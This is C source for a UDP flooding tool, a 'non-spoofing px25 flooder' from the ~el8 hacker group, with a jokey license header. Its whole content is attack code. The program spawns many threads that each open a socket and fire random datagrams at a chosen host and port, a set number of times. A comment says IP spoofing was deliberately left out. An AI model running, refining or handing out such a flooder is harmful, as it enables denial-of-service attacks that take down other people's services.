/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

/* non-spoofing px25 flooder */
/* by minus for ~EELLLL8 */
#include <string.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <fcntl.h>

#define YOU 0
#define ME  1
#ifndef MAX_FILE
#define MAX_FILE 400
#endif
#ifndef BUF
#define BUF 40
#endif

int count=0;
int maxcount;

struct px25
{
  struct sockaddr_in _addr[2];
  int sockfd[MAX_FILE+20];
  int SockI;
};

char *
make_p(void)
{
  static char request[11];
  snprintf(request,11,"L %.2i : W %.2i",(rand()%60),(rand()%60));
  return request;
}
void *
viagra (struct px25 *px)
{

  if (!(count < maxcount) || !(px->SockI < MAX_FILE)) pthread_exit(NULL);
  (px->SockI+1 >(MAX_FILE-1))?px->SockI = 0:px->SockI++;
  px->_addr[ME].sin_port = htonl(INADDR_ANY);
  if (count > maxcount) pthread_exit(NULL);

  if ((px->sockfd[px->SockI]=socket(AF_INET,SOCK_DGRAM,0))< 0)
  {
    puts("\n----error----");
    perror("socket()");
    exit(-1);
  }
  if ((bind(px->sockfd[px->SockI],(struct sockaddr*)&px->_addr[ME],
       sizeof(px->_addr[ME]))<0))
  {
    puts("\n----error----");
    perror("bind(spoofhost)");
    exit(-1);
  }
  if (!(count < maxcount) || !(px->SockI < MAX_FILE))
      pthread_exit(NULL);
  if (0>(sendto(px->sockfd[px->SockI],make_p(),11,0,
         (struct sockaddr*)&px->_addr[YOU],sizeof(px->_addr[YOU]))))
  {
    puts("\n----error----");
    perror("sendto(desthost)");
    exit(-1);
  }
  close(px->sockfd[px->SockI]);
  pthread_exit(NULL);
}

int
main (int argc, char *argv[])
{
  struct px25 px;
  int i,Y;
  struct hostent *PXHost[2];
  pthread_t *pt;

  if (argc != 5)
  {
    fputs("./viagra <spoof> <dest> <port> <count>\n",stderr);
    // we will not include real spoofing because of the potential
    // abuse of px25. use your real IP in this edition.
    exit(-1);
  }

  if ((PXHost[YOU]=gethostbyname(argv[2]))==NULL)
  {
    herror(argv[2]);
    exit(-1);
  }
  if ((PXHost[ME]=gethostbyname(argv[1]))==NULL)
  {
    herror(argv[1]);
    exit(-1);
  }
  maxcount = atoi(argv[4]);
  pt = (pthread_t *) malloc((size_t)(maxcount*(int)sizeof(pthread_t)));
  if (!pt) { fputs("out of memory.\n",stderr); exit(-1); }
  px._addr[YOU].sin_family     = AF_INET;
  px._addr[YOU].sin_addr       = *((struct in_addr*)PXHost[YOU]->h_addr);
  px._addr[YOU].sin_port       = htons(atoi(argv[3]));
  px._addr[ME].sin_family      = AF_INET;
  px._addr[ME].sin_addr        = *((struct in_addr*)PXHost[ME]->h_addr);
  px._addr[ME].sin_port        = htons(0);
  px.SockI = 0;
  setvbuf(stdout,(char*)NULL,_IONBF,0);
  printf("----%.24s -> [%.24s:%.6s] (#%.15s)----\n",
         argv[1],argv[2],argv[3],argv[4]);

  for (count=0;count<maxcount;count++)
  {
    if (px.SockI > (MAX_FILE-1)) px.SockI =0;

    if(pthread_create(pt,NULL,(void*)&viagra,(struct px25*)&px))
    {
      puts("\n----error----");
      perror ("pthread_create()");
      exit (-1);
    }
    if (count > MAX_FILE){
      for(Y=0;Y<MAX_FILE;Y++)
         pthread_join(pt[Y],NULL);
    }
  }
  printf("\n----%s complete!----\n",argv[1]);
  printf("got viagra?!\n");
  return 1;
}


syntax highlighted by Code2HTML, v. 0.9.1